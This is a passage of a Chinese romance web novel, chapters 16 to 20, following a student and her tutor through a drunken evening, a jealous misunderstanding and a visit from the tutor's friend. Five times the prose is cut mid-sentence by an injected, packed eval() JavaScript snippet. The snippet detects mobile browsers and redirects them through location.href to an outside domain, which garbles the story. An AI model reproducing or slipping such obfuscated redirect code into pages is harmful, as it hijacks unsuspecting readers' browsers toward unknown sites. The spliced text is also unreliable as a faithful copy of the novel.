于是白柚好似释然地笑了一下，也将杯中剩余的米酒一饮而尽了。 将第二瓶米酒中还剩余的一些全部倒进杯子里，她道：“不过目前看来这个选择也不是什么坏事，遇到了江……小白，还有姐姐，非常有幸。” 似乎是听到了自己的名字， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785793|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在窝里都快要睡着得迷迷糊糊的江小白奶奶地“喵”了一声，抬头看了一眼，发现并没有过来找自己，又翻了个身准备继续睡了。 “嗯。”江文初的反应淡淡的，只是闷闷地应了一声，还不如江小白大。 不过随后她也笑了，却是说起了别的话题。 “后天好像就是中秋节了，小柚准备怎么过？” 在白柚看来，这个话题转得十分突然，只不过现在酒精作祟，她脑子已经晕乎乎的，也不觉得这个有什么。 她顺着江文初的话想了想，而后看向江文初：“没有，我已经好几年都是一个人过中秋了，所以中秋和平常的日子也没什么区别。” 当然，如果真的和平时没区别的话，她也不会记得好几年都是一个人过的。 说话间，白柚又喝完了最后一杯米酒。 闻言，江文初道：“只要你愿意，以后每年中秋节都会有人陪你过。” 她说得随意，白柚听在耳朵里，就以为她说的是：追你的人不少，你只要想谈恋爱，随随便便都能谈上，也不会每年都孤身一人。 “我朋友也这么说，”两瓶米酒被白柚喝得干干净净，她的意识已经开始飘忽，此时说话也有点嘴比脑子快，“不过之前对他们都没有感觉。” 白柚双肘撑在茶几上，用两个手掌害羞脸，有些迷糊地闭上了眼睛。 而江文初就这么直直地看着她。 看了一会儿，江文初冷不丁开口：“那现在呢？” 被江文初这么一问，白柚想起这半个月来两个人相处的点点滴滴。 她想告诉江文初好像有了，而且有的速度是自己从来没想过的快，但是又怕这一切都只是自己的一厢情愿。 于是白柚笑了，趁着醉意，扶着茶几从软垫上站起身来，又伏下身子像个小推车一样把软垫推到了江文初旁边再坐下。 “那姐姐呢？我自己，自己一个人都在这里说，说了好久好久……姐姐什么也没说，是不是有点不公平？” 16. 酒醒 这一串姐姐下来，白柚倒是越来越顺口了。 白柚觉得自己的意识已经只能说是残存了，脑子有点晕晕的。 看来不应该不相信店员小姐姐的话，轻敌了的。 刚才甜口的排骨吃多了有一点腻，江文初身上的西柚香对现在的白柚来说仿佛就是一个安神剂。 她用额头靠在江文初右手臂上，片刻贪婪地将她的气味吸入鼻中，声音闷闷的：“姐姐呢？姐姐谈过恋爱吗？现在有喜欢的人吗？” 江文初偏过头看她，用左手温柔地摸了摸她的头发，却没有回答她的问题。 只是江文初不答，白柚也没有再问，就紧紧地靠在她的手臂上，呼吸渐渐均匀。 又过了一会儿，江文初收回了手，才像是回答她的问题，又像是自言自语道：“我只爱过一个人，很爱很爱，但是曾经做了一件伤害她的事。” 不知道过了多久，江文初侧过身子，把白柚抱在怀里：“她现在把我忘了，要是没忘的话，应该很恨我吧。” - 白柚的记忆就停留在这里，她不记得后来又发生了什么，也不记得自己最后是怎么睡过去的。 等她再次有意识的时候，已经是第二天早上了。 一缕阳光透过窗帘之间狭窄的缝隙透进房间里，恰好照在在白柚的眼睛上，让白柚睁开眼时缓了好久才适应了光线。 昨晚的酒喝得太多了，虽然她的酒量不差，但那米酒估计至少得有十五度，两斤下去，又喝得比较急，就算到了现在还是难免有些难受。 尤其是现在，她不仅头还有些晕，而且口还十分渴。 白柚本想再缓一会儿就起床去找点水喝，谁想在这期间，她忽然觉得隐约闻到身旁传来一股熟悉的香气。 她猛地起身，睁大眼睛。果不其然——她根本没有在自己的房间里，而隔她稍远些的床的另一边，躺着江文初。 江文初可能也没有太睡得踏实，白柚弄出一个稍大的动静，她也就醒了。 白柚下意识看了眼自己身上，发现穿着的是自己的睡衣，稍微松了一口气。但一抬眼，才发现自己刚才的小动作好像全部被江文初看在眼里了。 是不是反应稍微有点过了……又不是没有一起睡过。 不过说到底她，喝断片了，根本不知道后面发生了什么，所以紧张一些好像也是正常的。 为了掩饰刚才好像有些慌张的反应，白柚强迫自己扯出一个微笑，向江文初打了招呼：“姐姐早。” 一开口，白柚才发现自己的声音略微有些嘶哑，也不知道是不是喝多了就会这样，还是昨晚自己后来又干了什么。 不过这声“姐姐”叫得倒是意外顺畅。 “早。” 江文初身上穿的是白柚第一次来上课时候她穿的那件米白色睡袍，她一从床上坐起来，胸口的睡袍就开始往下滑。 即使没有实际露出什么，也很容易让人想入非非。 白柚挪开眼，掀开被子起了身，背对着江文初，有些手忙脚乱地整理自己的睡衣，虽然实际上也没有什么好整理的。 江文初摸了枕头下的手机，一看时间，又将手机放到了床头柜上：“才六点半，小柚不再睡会儿吗？” 刚才一个字还不觉得，这下白柚才反应过来江文初的声音也比较哑。 “我去倒杯水。” 其实相较之下白柚还是更喜欢喝冷水，但昨天喝了酒，刷了个牙让口腔状态舒服些后，白柚还是很老实地倒了两杯温水回江文初的卧室。 江文初靠在床头上，接过水杯，道了谢。 不知道是不是白柚的错觉，她总觉得江文初的领口开得又比刚才深了些。 小半杯温水润了润喉咙，白柚口干的感觉好了不少，这才试探地说：“昨晚我喝断片了，没有给姐姐添什么麻烦吧？” 江文初听到白柚的话，想起什么似的笑了笑，不紧不慢地将水杯放在了床头柜上，才缓缓开了口：“有。” 白柚：“……” 怎么不按常理出牌呢？ 不过听到这个回答，白柚的心里也一紧，不知道自己是乱说什么话了还是做了什么丢人的动作了……虽然在她自己的印象里她的酒品好像还不错。 “我是做了什么……不太好的事情吗？”后面的事情，白柚是一点印象都没有了，哪怕江文初说她发酒疯脱了衣服跳舞，她可能也没啥底气矢口否认。 不过还好，事情没有预想的那么严重。 “昨晚到最后，你已经连站都站不稳了，回卧室拿了睡衣就嚷嚷着要洗澡，还非要来我这里洗。好在虽然碰碰撞撞的，也顺利洗完了。”江文初说着，面上看不出被麻烦之后的生气，而是满眼笑意。 江文初笑得温柔而含蓄，不过在白柚看来，还是有一些觉得她昨晚的表现很好笑的意味在。 “不过你出来之后就坐在地上赖着不走，我也没力气再把你抱回去，就把你搬到这里睡了。” 这个过程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785794|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听得白柚一会儿白一会儿红的。 好在虽然有那么一些丢脸，但她好歹没有乱说什么不得了的话，也没有做出什么出格的事情来。 也让白柚稍微松了一口气。 “麻烦姐姐了，下次喝酒我一定控制好量。”说着，白柚缩回了被子里，有些不好意思地将脸盖上了。 现在不到七点，白柚也打算再休息一下。 江文初卧室的床比较大，白柚缩在最边上，江文初朝她那边挪了不少地方，才能够得着掀开她那边的被子。 “别捂着了，好好睡，我不笑你。” 屋子里开着空调，江文初也不敢掀太多。见白柚的鼻子露出来，江文初也就躺了回去。 安静了一会儿，身旁江文初的呼吸声逐渐平缓均匀起来。 虽然白柚也想再眯一会儿，但她醒了就有些睡不着了。 她昨晚最后是断片了不假，但她脑海中仍然记得，她靠在江文初手臂上有些贪心地感受江文初身上的味道时，听到江文初说：她只爱过一个人，很爱很爱。 这句话对白柚来说不算五雷轰顶，但也难免有些残忍。 当然，白柚还依稀记得江文初后面还说了些什么，但她对具体的内容没什么印象。或许也是她不想听到和江文初爱的人有关的事情，脑子自动帮她过滤掉了。 不过至少未来这一年，不出意外的话，陪江文初身边的都是她。这也让白柚感到些许安慰。 但是不管怎么说，她都需要一点时间来整理一下自己的心情。 两人的睡意都不算特别浓，在床上稍稍赖了一会儿，不到七点半就一前一后起床了。 洗漱完，江文初准备早餐，白柚就在客厅收拾昨晚的“残局”，等吃完早饭，才一并把脏碗筷放进了洗碗机，按了个“超强洗”。 看了看消息，白柚准备去取两个快递。 其中一个快递里是她公司正在筹备的一部广播剧的一套周边打样，而另外一个则是两位主角配音演员已经签好名的一盒海报。 快递是白柚搬过来之前给的地址，所以寄到了她原来租房的那个小区里。现在出去拿，可以消消食，也正好透透气。 两个小区隔得不远，白柚走几分钟就到了那边的菜鸟驿站。 因为提前知道里面的周边是拿盒子装的，所以取了快递后，白柚就借了驿站的刀，把两个快递都拆了准备放到一起。 白柚刚掀开周边盒子的盖子，就有人从她拍了拍她的肩膀。 17. 道歉 “白柚姐姐。”一个清脆活泼的声音从身后传来，白柚觉得耳熟，转过身去才看到是方然。 她说话时眉眼弯弯，看起来很是清纯可人：“好巧啊，你也住这里吗？” 白柚平时不在学校里吃饭，方然虽然之前跟她聊过一次，但之后也没有什么机会有交集。在这里碰到她这么热情给自己打招呼，白柚还有一点意外。 “你好啊，”白柚出于礼貌也朝她笑了笑，“我之前住这里，不过最近已经搬到学校对面去了。” 闻言，方然眼中闪过一丝遗憾。不过随即，她又被白柚手上的东西吸引。 她好似一眼就认出了那是什么东西，有些惊讶道：“白柚姐姐，这是那个《糖醋青梅》广播剧的周边吗？” 这是一部由晋江上一个比较火的百合小说改编的广播剧。虽然剧还没播，但读者和听众们的消息向来很灵通，一般广播剧版权一签约，过不了几天消息就会在圈子里传开。 因为周边带着青梅元素，加上和原著人设也非常符合，所以只要熟悉原著的猜出来也不算很难。 “是的。”白柚也没否认。 “那……白柚姐姐方便的话我可以看看吗？我超级喜欢这本书的！”说着，方然用她那双充满渴望的大眼睛看着白柚，让谁看了也难以拒绝。 白柚想了想，方然也是广播剧比较热情的一种听众，对这些周边应该也比较熟悉。这套周边本来也是打样，给她看看正好也可以从听众和读者视角找找有没有什么问题或者可以改进的地方。 不过现在白柚的心情还不算好，目前她还是想一个人待一会儿。所以她大致看了一下周边的种类、数量和外观上没什么问题之后，抽了一张明信片放到盒子里，就把盒子的盖子盖了回去。 “如果你喜欢的话，这套就送给你吧。不过因为这是样品，如果有什么问题或者建议的话，可以麻烦你在跟我说一下吗？我们好改进。” 看到白柚递过来的东西，方然有些受宠若惊。 她接过盒子，开心溢于言表，还腾出一只手给了白柚一个飞吻：“谢谢姐姐，我一定会好好看看然后珍藏的！” “嗯。”白柚下意识往后躲了一下，但也没有找补，找了个借口就回了自己的租房。 明信片上两个主角的姿势非常暧昧，她还不知道江文初对这件事怎么看待，所以也不打算把它带回那边去。 在床上躺了一会儿想了些有的没的，白柚又在小区里转了两圈，还是回了江文初那边。 走到门口，白柚才想起来刚才和江文初说过自己是要取快递，但现在又是空着手回来。 她站在门口犹豫了一下如果江文初看到她回来的话，要不要和她解释一下。 “小姑娘，屋里有人，她刚进去。”一个稍显苍老的声音从白柚背后传来。 白柚转过身去，看到一个套着橙红色马甲的老奶奶正从一二楼楼梯间站起身来。她的一只手撑着扫帚，另一手搭在空瓶子和废纸盒装得半满的麻布袋上。 老奶奶脚边还放着几个塑料垃圾袋，垃圾袋半解，有的比起其他空了不少。 之前白柚听江文初说垃圾袋可以放在门口，小区每天有专门的人来收。相比在大垃圾桶里翻找，这样倒是体面很多。 “谢谢奶奶，我想起来有个东西忘记买了，我再出去一趟。” 临走时，白柚执意帮老奶奶把麻袋搬上了她停在单元门外的小三轮车上，才出了小区。 学校外面的小超市很多，她往左走过50米，就有一个生活超市。 她买了两个带滚轮和推杆的超大号收纳箱，准备一个放家里，一个改天带去教室座位边上放着。 高中的学生资料比较多，光凭一个桌子抽屉根本放不下，要是垒在桌子上又比较碍事，所以一中的学生们几乎人手一个收纳箱拿来放东西。 不过白柚买这个并不准备拿来放书。 她一手推着一个收纳箱回到家时，江文初还在客厅的沙发上回消息。 江小白看她回来，一跃身跳进了其中一个收纳箱上。 “姐姐。”白柚跟江文初打了声招呼。 “嗯。”江文初答应一声，手上的动作没有停下。 白柚推着两个收纳箱加上一个江小白从江文初背后路过，把江小白不在的那个收纳箱的盒子打开，倚在墙边上，又把收纳箱靠着洗衣机贴紧。 再抬头时，江文初还在用手机不停地打字，不知道在忙些什么。 “姐姐。”白柚又叫了她一声，江文初这才抬起头，目光落在白柚身上。 “以后我们可回收垃圾就放这里面吧。”白柚指了指刚放好的收纳箱。 江文初只是应下：“好。” 看白柚好像没什么要继续说的，她又埋下头去，点开另外一条有红点的对话框。 白柚则愣了一下，推着另外一个收纳箱，带着上面的江小白朝卧室走去。 路上，她的右手拇指不停地抠着收纳箱的推杆，却因为推杆上太过光滑，最终也没有留下一点痕迹。 - 白柚在卧室的小书桌上做了一上午题。 快到一点，江文初才叫她出去吃饭。 说是吃饭，但餐桌上就一边摆着一碗清汤面，连煎蛋也没有。 “担心你胃不舒服，今天就吃点清淡的，可以吗？” 做都已经做了，江文初这么问她，白柚也不能说不行，只能闷闷地应了一声“嗯”。 埋头吃着面，白柚心里有点委屈。 早上江文初和她还好好的，怎么她就出去散了个心回来江文初就变得这么冷淡。 明明……该难过的是她。 两人就这么沉默着，只偶尔传来两个人碗筷碰撞的声音。周围安安静静，连江小白都在睡觉，气氛变得越来越奇怪。 江文初抬头看向白柚时，白柚正低着头，夹了几根面并上筷子，一圈一圈翻转着，想把这几根面都缠在筷子上。 眼看着这几根面的尾端都离开了汤，白柚手滑了一下，那缠好的面又掉了一大半进碗里。 于是白柚又开始重复起上面的动作。 江文初左手扶着桌沿，右手把筷子并起来横在碗上，唤了声：“小柚。” 白柚听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785795|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的声音停下了手上的动作，将那几根面一齐放回了碗里，才抬起头看向江文初。 “怎么了姐姐？” 沉默几秒，江文初又拿起筷子，却没有继续夹面：“对不起，今天我不该让你的心情受到我的影响。” 白柚怔了一下。 “以后我会尽力控制好我自己的情绪，不会再像今天这样了。” 这时候，白柚的大脑开始飞速旋转。 她夹了一口面塞进嘴里，慢慢嚼碎，片刻后咽下：“没关系的姐姐。” “我也没有怪姐姐的意思。只是看到姐姐忙，感觉姐姐心情不好，但我又什么忙也帮不上，有那么一点难过。” 江文初又放下筷子，双手交叠在碗边，指尖微微颤抖：“其实，哪里有这么忙。” 是了，白柚其实也有所察觉。 除了照顾白柚以外，江文初又没有别的工作。白柚知道江文初家里会有点事不假，但家里的事应该也不至于忙成那样。 可刚才路过江文初背后时，白柚也确实真真切切看到江文初都快把手机按键敲出火花了，这忙也不像假的。 白柚还在思考可能的情况，就听江文初道：“标为未读而已。” 闻言，白柚不由地笑出了声。 没想到温柔体贴如江文初，也会做这样的事。 不过白柚转念一想，江文初其实也才比她大两岁多。但她看起来却比她的实际年龄成熟很多，也不知道是不是五年独自一人在国外生活带给她的气质…… 这么想着，白柚又有一些心疼她。 白柚忙敛了笑意，认真地看向江文初：“那姐姐……因为什么不开心呢？” 刚才江文初只否认了忙，没否认心情不好，白柚隐隐有些担心。 江文初没有回答她，而是站起身来，朝着厨房走去。 白柚也起身跟上江文初的步伐，就见江文初打开了厨房里的冰箱冷藏室的门。 透亮干净的隔板上整整齐齐放着一些菜品。几颗番茄表皮还微微圆润饱满，白菜的叶梗上还挂着点点水珠，牛肉鲜红，包装上还没有凝结冷霜。 “你上午出门之后我开车去菜市场买菜了。”待白柚看仔细后，江文初关上了冰箱门，“你说你去取快递，但我看到你的在送别人礼物。” 听到这话，白柚的心忽然猛烈地跳动了一下。一瞬间，脑子里闪出了n多个可能性。 但她还没来得及想太多，又听江文初道：“如果你有别的事情可以和我直说，我不喜欢被说谎欺骗的感觉。” “不是这样的姐姐。”这下轮到白柚慌了，连忙把事情的来龙去脉给江文初解释了一下。 当然，白柚有意跳过了自己不必要的内心活动，只陈述了基本事实。 讲完，白柚觉得今天惹了江文初不开心实在是不对，顺口就道了歉做结尾：“今天这件事情我也有不对的地方，以后不会了。” 江文初失笑：“小柚不对在？” “我不对在……”白柚卡了壳，仔细一想，她好像确实没什么不对。 完了，好像被江文初带到坑里了。 18. 纸条 虽然事情的结果好像和白柚刚才预想的不太一样，不过两人也算是将事情说开了。 看到江文初终于笑了，白柚的心情也好了很多。 她也笑意浮上眉梢：“我不对在没能及时发现江老师不开心的原因，并且主动解释，害得我们两个人都别扭了一上午。” “那……”江文初松开扶在冰箱上的手，“白柚同学，错了是不是要罚一下？” 于是白柚被罚下午和江文初一起做了晚饭，第二天晚上又陪江文初在客厅投影上看了部电影。 假期三天的时间眨眼就过去。第二天早上白柚又起个大早，推着收纳箱去了学校。 白柚到了楼层，刚放下提起来的收纳箱准备拐弯，一抬头就看到方然正提着一个鼓鼓的白色塑料袋朝她走过来。 “白柚姐姐！”方然很是热情地跟白柚打了声招呼。 白柚还没来得及回过神来，方然就已经把塑料袋放放到了她的收纳箱上。 “这是？”白柚眼皮一跳。 “上次谢谢姐姐送的周边，不知道姐姐喜欢吃什么，就随便买了点，希望有姐姐喜欢的！”说完，不等白柚拒绝，方然就跟她挥了挥手往后跑开了。 从内心来说，白柚不想收她的东西。但换位思考了一下，白柚也不喜欢欠别人人情，怪就只能怪她那天出门的时间没挑对。 方然走后，白柚还是把收纳箱的盖子掀开把袋子扔了进去。 晚上八点十分，白柚准时拉开了家里的门。 今晚有补习，书房的灯亮着，白柚把零食放在沙发上rua了一下江小白就走了过去。 江文初已经接好了温水坐在书桌旁边等她。 有了前车之鉴，白柚一进门，就走到江文初旁边的位置上，边放书包边说：“姐姐，前天我不是给了班上一个同学一套广播剧的周边吗，她今天回了我一袋零食。我想着不想跟她之间有什么人情欠着，就收了。” “好的，”江文初手里捏着的笔转了两圈，笔尖落在空白的横线纸上点了点，“我看看你练的字怎么样了。” 上次江文初忙，只给她写了十二个字，但是白柚这几天也没有闲着，每天没事的时候就练两个。 到今天，她已经把江文初的字形学了个七八分像，只是写的速度还是快不起来。 但是白柚已经很满意了。 江文初看起来也比较满意，给白柚指导了一些她之前没太注意到的细节。随后她又写了几个半包围结构还有一些特殊结构的字，让白柚接着练，两人才进入了英语的正题。 今天江文初给白柚讲了怎么用Skimming和Scanning去提高阅读效率，白柚仿佛被打开了新世界。 江文初讲得快，白柚接受得也快。不到九点半，两人就结束了今晚的内容。 结束时，白柚跟江文初说想要自己再整理消化一会儿，江文初就先出了书房去洗澡。 白柚在书房又待了十多分钟，就收到了来自白允的亲切问候。 【S.：睡了没？】 【Y.：还没，正准备去洗澡】 【Y.：怎么了】 白柚回完消息，收拾了书包，关上书房的灯和门，回了卧室拿了睡衣，才又收到了白允的回复。 【S.：没事，就是听江老师说你前几天搬过去了，来问问你们相处得怎么样】 白柚没想到白允的消息还挺灵通的，看来她一开始也确实不准备管白柚自己租房的事。 不过这两次来自白允的关心都让白柚感到有些奇怪。 虽然平时白允也挺关心白柚的，但不管是以前在家里还是后来去了大学，她都是直接问你最近怎么样或者什么事怎么样，很少在意白柚和其他人的状况。 就在这一瞬间，白柚心里忽然生出一个离谱的想法。 她手抖着在对话框敲出了一条消息： 【Y.：姐，你和江老师认识很久了吗？】 然后她坐在床上等了三分钟，对面都没再有动静。 白柚手紧了紧，被她抓着的睡衣满是褶皱。 - 白柚洗完澡出来时，江文初刚好从客厅往卧室走。 两人正面碰上，江文初跟她说：“我以为里面都是零食，就打开把它们放在零食柜里了，没想到里面还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785796|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一张纸条。” “纸条放在茶几上了，我不是故意看到的，抱歉。”江文初的话里满是诚恳的歉意。 白柚本来也不在意这个，现在心里满是白允的消息，顺嘴就回了句：“没关系，谢谢姐姐。” 语气不算差，但也没有像往常那样特别好。 见江文初点点头回了卧室，白柚就去了客厅拿了纸条。 纸条最上面是一串数字，下面的字圆润柔和，倒和方然的长相很是符合：白柚姐姐，这是我的□□号码，如果姐姐不介意的话，想和姐姐交个朋友。 白柚其实对和比自己小这么多的人交朋友没什么兴趣，但怕小姑娘多想，她看了一下白允的消息还没来，还是点开□□搜索了那串号码。 正好通过网络给方然解释清楚的话，应该也不会像当面直接说那么伤人自尊心。 点了“发送”，白柚就将纸条揉成了一团，投进了收纳箱里。 十点二十，白柚的手机屏幕亮起，是微信消息。 正在吹头发的白柚连忙腾了一只手解锁手机。 【S.：认识四五年了】 白允这些年一直都待在国内，而江文初又一直在国外。如果说认识了四五年的话……最大的可能应该就是江文初出国之前的那个暑假。 可江文初和白允差了有四岁。 而且白允和她认识了这么多年，现在还能把人找过来给自己补习，白柚从前竟然从来没有听她提起过江文初。 白柚想起江文初要让她叫姐姐，再加上喝酒那天晚上江文初说的那句话：“我只爱过一个人，很爱很爱，但是曾经做了一件伤害她的事。” 她们该不会真的…… 然后现在准备旧情复燃了吧？ 如果真的是这样，自己就是她们play的一环？ 想到这，白柚想把小丑的红鼻子摘下来贴在自己脸上。 她在对话框敲了很久，删删改改，最后问白柚： 【Y.：姐，你喜欢女生？】 这回白允倒是回得挺快。 【S.：……】 【S.：她跟你说什么了？】 19. 访客 怪不得白允26岁了，白柚还从来没听她说过什么时候谈过男朋友。 这条消息就像是一个闪电劈在了白柚手机上，电流从她的指尖直达心底。 直到头皮被热风烧得有些疼，白柚才反应过来自己忘了晃动吹风了。 她已经吹了好一会儿，这会儿头发估计也干得差不多了，白柚就把吹风关了。 “小柚。”风声一停，白柚就听到了背后江文初的声音。 江文初站在卧室门口看她，也不不知道站了多久。 白柚回头一与她的目光对视，又立马挪了开来，用忙收着吹风的线来掩饰：“怎么了姐姐？” 说着，白柚又侧过身去把收好的吹风放在了洗漱台边的柜子里。 “你……”江文初犹犹豫豫地开口，刚说一个字，敲门的声音就响了起来。 “我去。”凭着离得近的优势，先江文初一步，白柚朝门口走去。 她先点开门口的屏幕用监视器看了一眼门口，看到是一个年纪可能和她们差不多大的女人后，才开了门。 “请问您是？” 面前的人穿着一件粉色长裙，裙子的设计流畅，很有光泽感，衬得人非常高贵且优雅。配上她发尾的波浪卷，给她增添了一份柔美。 那女生看到白柚，神情明显呆了一秒，随后却喜上眉梢，热情地跟她确认：“白允妹妹？” “你……” 白柚想问她怎么认识自己，身后闻声赶来的江文初就打断了她：“瞿芫杉？你怎么到这里来了？” 闻言，这个叫瞿芫衫的女人嘴上回答的是江文初的问题，目光却一直意味深长地落在白柚身上：“我前几天跟郁菁菁喝酒，才知道你在这里搞了套房子。今天刚好过来出差，就想过来看看你，给你个惊喜。” 但江文初表情阴沉沉的，好像对这个惊喜不是很喜欢。 “怎么？金屋着藏娇，不想让我进去？”见江文初没有动静，瞿芫衫打趣她，“那要不去酒吧喝个酒？” “可以。”江文初又上前两步，挡在了瞿芫衫和白柚中间，才回头放低声音跟白柚说，“那小柚早点休息，我会尽早回来。” 江文初答应下来后，回卧室换了身衣服就和瞿芫衫离开了。这期间，瞿芫衫也没再主动向白柚搭话。 两人走后，白柚有些无力地瘫在沙发上，只有江小白凑过来跳到了她的身上，小心翼翼地舔着她的手，过了一会儿又用头蹭蹭她。 白柚确定自己没有见过瞿芫衫，而瞿芫衫虽然认出了自己，但看当时的样子以及不太确定的语气应该也是第一次和她见面。 可她明明是江文初的朋友，却也认识白允。那只能说明她们应该是共友，然后偶尔聊天时会提起自己。 加上自己和白允本就长得像，这才…… 分析到这里，白柚心中生出一股无名之火，感觉胸口闷闷的，想要哭，又无处无理可发泄。 她只能把江小白抱起来，用侧脸轻轻贴着她。现在只有从江小白这里，她还能感受到一丝暖意。 手机提示音响起，白柚不想回，但是声音一阵一阵的，扰得白柚心里更是烦得很。 她放下江小白，打开手机。 原来是方然给她发的消息。 方然发了很多消息，大部分都在表达对白柚的欣赏、佩服和喜欢。其中的另一个重点是，现在晚自习下课了，方然想邀请白柚吃个宵夜，顺便想跟她聊聊投资广播剧的事情。 白柚看着手机上的消息，叹了口气。 【Y.：好啊，那就学校斜对面的烧烤店吧。】 回完消息，白柚也回了卧室换了身衣服。 临出门时，她才想起来还没回白允的消息，又打开和她的聊天框。 【Y.：没有，猜的】 - 另一边。 瞿芫衫和江文初说是要去酒吧喝酒，但一个明天白天有工作，另一个心情不好不想去，两人最后默契地在附近找了个烧烤摊。 这会儿学生刚放学，学校门口人挺多，但是大部分都是往隔壁一条街的小吃摊走的。 工作日的晚上，烧烤摊的人还不算很多。 天气热，摊子上仅有的两桌人都在外面吹风。随便捡了一些菜，江文初和瞿芫衫就坐到了室内最角落的位置。 “你怎么回事，白月光都拐回家了还摆着一副臭脸，”瞿芫衫将挎包放到隔壁的座位，“我可没欠你钱啊，最多这顿请你吃。” 江文初和她对坐，等过来送茶水的服务员走远些了，才问：“你知道她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785797|158034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不记得我了吧？” “知道，她姐跟我说过。”说着，瞿芫衫将塑封好的碗筷用手指从中间往下压，听到一声“嘭”，才非常满意地收了手，正经拆起包装来。 江文初则用筷子戳了个孔：“指甲太长了。” 瞿芫衫“嘁”了她一声：“我剪了有用，你剪了能用上吗？” 江文初语塞，倒了茶水涮碗。 瞿芫衫自知戳到了别人的痛处，有点心虚，咳了一声，自己拿过茶水壶也开始涮碗。 “那你今天晚上不开心是因为？” 这被忘了也不是一天两天的事，不至于天天都这个表情吧。 瞿芫衫正琢磨着，就听江文初有些别扭地跟她说：“她们班有个女生对她很热情，今天给她送了零食，还要加她联系方式。” 闻言，瞿芫衫眼中闪烁起了幸灾乐祸的光芒，笑得合不拢嘴：“我们江大小姐也有今天？那你可得抓紧时间，不然白月光要被妹妹抢走了。” “嗯。”江文初闷闷地应了一声。 “不过看你们都住一起了，进度应该还算可以。”说着，瞿芫衫把茶水倒进边上垃圾桶，又把垃圾桶往江文初那边踢了踢。 “我怕她有一天想起来，”江文初转着手里的碗，碗里的水就不停转着，“现在爬得多高，到时候就会摔得多疼。” 瞿芫衫却不以为然：“你要是现在不爬，那山上就要插上别人到此一游的旗了。” 这话说得江文初没法反驳。 她思考了一会儿：“那你觉得，我是不是应该……” 江文初说着，一抬头，却见瞿芫衫好像没有在听她说话。 瞿芫衫朝江文初身后的方向扬了扬下巴，压低了声音：“你看那边。” 江文初一回头，就看到白柚和方然走在一起在朝这边过来。 服务员热情地上去招呼两人，白柚好像问了方然什么，方然指了放菜冰柜旁边的一个小桌子，两人就走去那边坐了下来。 白柚一直有一点心不在焉的样子，也没有注意到屋内角落里的瞿芫衫和江文初。 倒是方然活泼得很，一直在跟白柚说着什么。 江文初将碗里的水一倒，语气冰冷得快要把瞿芫衫冻死：“你让服务员拿两斤梅子酒来。” 20. 梅酒 白柚是在学校右边的斑马线跟方然汇合的。 一见面，方然见是绿灯，就小步跑了过来，很是激动。 这几天晚上没有前段时间那么热了，户外的风吹着，偶尔还会有点凉意。 白柚出门前披了件黑色的外套，因为手有点冷，这时正揣在侧兜里。 “白柚姐姐！”方然与她贴近，顺势就挽上了白柚的胳膊。 她身上淡淡的奶香味窜入白柚鼻中，白柚将左手从兜里拿出来，将方然的手从自己的胳膊上拿开了。 虽然动作很温柔，但没有丝毫的犹豫。 方然愣了一下，笑容僵在脸上。 “抱歉，我不习惯。”白柚的语气淡淡的，听不出任何情绪。 “奥，没关系。”方然讪讪地笑了笑，将手收回去用拇指勾在两边的书包带上。 可能是白柚的话比较委婉，还没等到走到烧烤摊，方然的话又逐渐多了起来。 她跟白柚说很喜欢她做的周边，也仔细检查过了没有什么问题。 她还跟白柚说她有两个非常喜欢的配音演员，但是她们一直没有合作过，所以她想投资一部广播剧，专门为她们两个量身定制。 